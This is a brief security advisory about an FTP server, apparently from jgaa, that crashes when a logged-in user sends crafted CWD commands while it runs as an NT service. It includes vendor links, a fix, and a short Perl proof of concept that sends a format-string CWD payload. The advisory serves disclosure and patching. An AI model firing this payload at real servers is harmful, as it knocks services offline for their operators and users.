due to an access violation, specialy crafted CWD-Commands will exit the FTP server when running as a NT service. User needs to be logged on.
Vendor's report can be found at http://support.jgaa.com/index.php?cmd=ShowReport&ID=02643
Solution: deny anonymous or untrusted logins or use patched version.
Updated Version can be found at http://support.jgaa.com/index.php?cmd=ShowProduct&ID=3
use strict; use Net::FTP; my $payload="%s"x115;
my $ftp = Net::FTP->new("127.0.0.1", Debug => 1); $ftp->login("anonymous","firstname.lastname@example.org"); $ftp->quot("CWD",$payload);